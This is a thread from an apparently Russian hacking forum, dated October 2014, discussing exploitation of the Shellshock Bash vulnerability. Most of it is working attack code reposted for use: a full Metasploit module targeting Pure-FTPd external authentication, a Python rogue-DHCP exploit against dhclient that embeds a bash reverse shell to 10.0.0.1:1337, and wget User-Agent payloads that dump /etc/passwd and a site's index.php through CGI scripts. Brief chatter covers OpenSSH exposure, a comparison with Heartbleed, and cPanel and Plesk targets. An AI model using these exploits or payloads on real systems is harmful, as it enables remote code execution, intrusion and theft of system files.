Вернуться   RDot > Аспекты НСД > Целевые системы/Target systems

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
Старый 02.10.2014, 16:07   #21
dikiy
 
Регистрация: 25.07.2013
Сообщений: 19
Репутация: 1
По умолчанию

Цитата:
Сообщение от z0mbie Посмотреть сообщение
как эксплуатировать на OpenSSH ?
никак. вернее то, что есть это ерунда - позволяет обойти ограничения на исполнение команд. Саму авторизацию шелшоком никак не обойти, OpenSSH в этом плане не уязвим.
dikiy вне форума   Ответить с цитированием
Старый 03.10.2014, 03:23   #22
recfrf
 
Регистрация: 29.07.2010
Сообщений: 40
Репутация: 1
По умолчанию

Цитата:
Сообщение от z0mbie Посмотреть сообщение
Странно что шелшок считают хуже чем heartbleed. Не думаю что оно имеет такое распространение как hb
они оценивают не со стороны когда баг в паблике, а с момента его присутствия, по сравнению с хером, который всего лишь читает в общем то случайный кусок памяти, тут выполнение команд, и это уже очень давно в распоряжении анб например
recfrf вне форума   Ответить с цитированием
Старый 03.10.2014, 21:05   #23
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

CVE-2014-6271: Pure-FTPd External Authentication Bash Environment Variable Code Injection

http://www.exploit-db.com/exploits/34862/

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Pure-FTPd External Authentication Bash Environment Variable Code Injection',
      'Description'     => %q(
        This module exploits the code injection flaw known as shellshock which
        leverages specially crafted environment variables in Bash. This exploit
        specifically targets Pure-FTPd when configured to use an external
        program for authentication.
      ),
      'Author'          =>
        [
          'Stephane Chazelas', # Vulnerability discovery
          'Frank Denis', # Discovery of Pure-FTPd attack vector
          'Spencer McIntyre' # Metasploit module
        ],
      'References'      =>
        [
          ['CVE', '2014-6271'],
          ['OSVDB', '112004'],
          ['EDB', '34765'],
          ['URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc']
        ],
      'Payload'         =>
        {
          'DisableNops' => true,
          'Space'       => 2048
        },
      'Targets'         =>
        [
          [ 'Linux x86',
            {
              'Platform'        => 'linux',
              'Arch'            => ARCH_X86,
              'CmdStagerFlavor' => :printf
            }
          ],
          [ 'Linux x86_64',
            {
              'Platform'        => 'linux',
              'Arch'            => ARCH_X86_64,
              'CmdStagerFlavor' => :printf
            }
          ]
        ],
      'DefaultOptions' =>
        {
          'PrependFork' => true
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Sep 24 2014'))
    register_options(
      [
        Opt::RPORT(21),
        OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin'])
      ], self.class)
    deregister_options('FTPUSER', 'FTPPASS')
  end

  def check
    # this check method tries to use the vulnerability to bypass the login
    username = rand_text_alphanumeric(rand(20) + 1)
    random_id = (rand(100) + 1)
    command = "echo auth_ok:1; echo uid:#{random_id}; echo gid:#{random_id}; echo dir:/tmp; echo end"
    if send_command(username, command) =~ /^2\d\d ok./i
      return CheckCode::Safe if banner !~ /pure-ftpd/i
      disconnect

      command = "echo auth_ok:0; echo end"
      if send_command(username, command) =~ /^5\d\d login authentication failed/i
        return CheckCode::Vulnerable
      end
    end
    disconnect

    CheckCode::Safe
  end

  def execute_command(cmd, _opts)
    cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")
    username = rand_text_alphanumeric(rand(20) + 1)
    send_command(username, cmd)
  end

  def exploit
    # Cannot use generic/shell_reverse_tcp inside an elf
    # Checking before proceeds
    if generate_payload_exe.blank?
      fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload")
    end

    execute_cmdstager(linemax: 500)
    handler
  end

  def send_command(username, cmd)
    cmd = "() { :;}; #{datastore['RPATH']}/sh -c \"#{cmd}\""
    connect
    send_user(username)
    password_result = send_pass(cmd)
    disconnect
    password_result
  end
end
================================================== ================================================

CVE-2014-6277: GNU bash 4.3.11 Environment Variable dhclient Exploit

http://www.exploit-db.com/exploits/34860/

Код:
#!/usr/bin/python
# Exploit Title: dhclient shellshocker
# Google Dork: n/a
# Date: 10/1/14
# Exploit Author: @0x00string
# Vendor Homepage: gnu.org
# Software Link: http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
# Version: 4.3.11
# Tested on: Ubuntu 14.04.1
# CVE : CVE-2014-6277,CVE-2014-6278,CVE-2014-7169,CVE-2014-7186,CVE-2014-7187
#  ______        ______  ______                 _                  
# / __   |      / __   |/ __   |     _         (_)                 
#| | //| |_   _| | //| | | //| | ___| |_   ____ _ ____   ____  ___ 
#| |// | ( \ / ) |// | | |// | |/___)  _) / ___) |  _ \ / _  |/___)
#|  /__| |) X (|  /__| |  /__| |___ | |__| |   | | | | ( ( | |___ |
# \_____/(_/ \_)\_____/ \_____/(___/ \___)_|   |_|_| |_|\_|| (___/ 
#                                                      (_____|     
#     _ _           _ _                  
#    | | |         | (_)            _    
#  _ | | | _   ____| |_  ____ ____ | |_  
# / || | || \ / ___) | |/ _  )  _ \|  _) 
#( (_| | | | ( (___| | ( (/ /| | | | |__ 
# \____|_| |_|\____)_|_|\____)_| |_|\___)                                        
#
#      _           _ _      _                 _                
#     | |         | | |    | |               | |               
#  ___| | _   ____| | | ___| | _   ___   ____| |  _ ____  ____ 
# /___) || \ / _  ) | |/___) || \ / _ \ / ___) | / ) _  )/ ___)
#|___ | | | ( (/ /| | |___ | | | | |_| ( (___| |< ( (/ /| |    
#(___/|_| |_|\____)_|_(___/|_| |_|\___/ \____)_| \_)____)_|    

# this buddy listens for clients performing a DISCOVER, a later version will exploit periodic REQUESTs, which can sometimes be prompted by causing IP conflicts
# once a broadcast DISCOVER packet has been detected, the XID, MAC and requested IP are pulled from the pack and a corresponding OFFER and ACK are generated and pushed out
# The client is expected to reject the offer in preference of their known DHCP server, but will still process the packet, triggering the vulnerability.
# can use option 114, 56 or 61, though is hardcoded to use 114 as this is merely a quick and dirty example.

import socket, struct
def HexToByte( hexStr ): 
    b = []
    h = ''.join( h.split(" ") )
    for i in range(0, len(h), 2):
        b.append( chr( int (h[i:i+2], 16 ) ) )
    return ''.join( b )

rport = 68
lport = 67

bsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

bsock.bind(("<broadcast>", lport))

while True:

	OP = "72" # 56, Message - RFC 1533,2132. 61, Client-identifier - RFC 1533,2132,4361 or 114, URL - RFC 3679 are currently known to work, here we use 114
	URL = "() { :;}; bash -i >& /dev/tcp/10.0.0.1/1337 0>&1".encode("hex")
	URLLEN = chr(len(URL) / 2).encode("hex")
	END = "03040a000001ff"
	broadcast_get, (bcrhost, rport) = bsock.recvfrom(2048)
	hexip = broadcast_get[245:249]
	rhost = str(ord(hexip[0])) + "." + str(ord(hexip[1])) + "." + str(ord(hexip[2])) + "." + str(ord(hexip[3]))
	XID = broadcast_get[4:8].encode("hex")
	chaddr = broadcast_get[29:34].encode("hex")
	print "[+]\tgot broadcast with XID " + XID + " requesting IP " + rhost + "\n"
	OFFER = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010236040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END
	OFFER_BYTES = HexToByte(OFFER)
	ACK = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010536040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END
	ACK_BYTES = HexToByte(ACK)
	print "[+]\tsending evil offer\n"
	sock.sendto(OFFER_BYTES, (rhost, rport))
	broadcast_get2 = bsock.recvfrom(2048)
	print "[+]\tassuming request was received, sending ACK\n"
	sock.sendto(ACK_BYTES, (rhost, rport))
ув. модераторы, перенесите тему плз в более достойное место

"Сервисы, БД, Серверы/Network services, Databases, Servers"

вообще не помогает искать багу в поиске

Последний раз редактировалось Pashkela; 03.10.2014 в 21:12..
Pashkela вне форума   Ответить с цитированием
Старый 03.10.2014, 21:25   #24
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Еще вариант:

test.sh:

Код:
#!/bin/bash
echo "Content-type: text/plain"
echo "Hi"
wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://site/cgi-bin/test.sh
Pashkela вне форума   Ответить с цитированием
Старый 03.10.2014, 21:45   #25
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

в бубунте вот такой скрипт тоже будет уязвим:

Код:
#!/bin/sh
echo "Content-type: text/plain"
echo 
echo
echo "Hi"
bash -c id
wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /var/www/index.php" http://127.0.0.1/test.sh

В общем любой явный или потом, в скрипте, вызов баша == RCE, если есть доступ извне

Последний раз редактировалось Pashkela; 03.10.2014 в 21:52..
Pashkela вне форума   Ответить с цитированием
Старый 04.10.2014, 04:11   #26
gm7
 
Регистрация: 22.03.2013
Сообщений: 4
Репутация: 0
По умолчанию

В блоге http://blog.sucuri.net/2014/09/bash-vulnerability-shell-shock-thousands-of-cpanel-sites-are-high-risk.html указываются скрипты CPanel подверженные уязвимости. Там же вскользь упоминается Plesk но я бы сказал в общих чертах. Хочу поставить демо версию Plesk'a и попробовать разобраться что и как там крутиться в контексте данной уязвимости.
gm7 вне форума   Ответить с цитированием
Старый 06.10.2014, 04:11   #27
dikiy
 
Регистрация: 25.07.2013
Сообщений: 19
Репутация: 1
По умолчанию

Цитата:
Сообщение от gm7 Посмотреть сообщение
В блоге http://blog.sucuri.net/2014/09/bash-vulnerability-shell-shock-thousands-of-cpanel-sites-are-high-risk.html указываются скрипты CPanel подверженные уязвимости. Там же вскользь упоминается Plesk но я бы сказал в общих чертах. Хочу поставить демо версию Plesk'a и попробовать разобраться что и как там крутиться в контексте данной уязвимости.
я в плеске ничего не нашел. удачи
dikiy вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot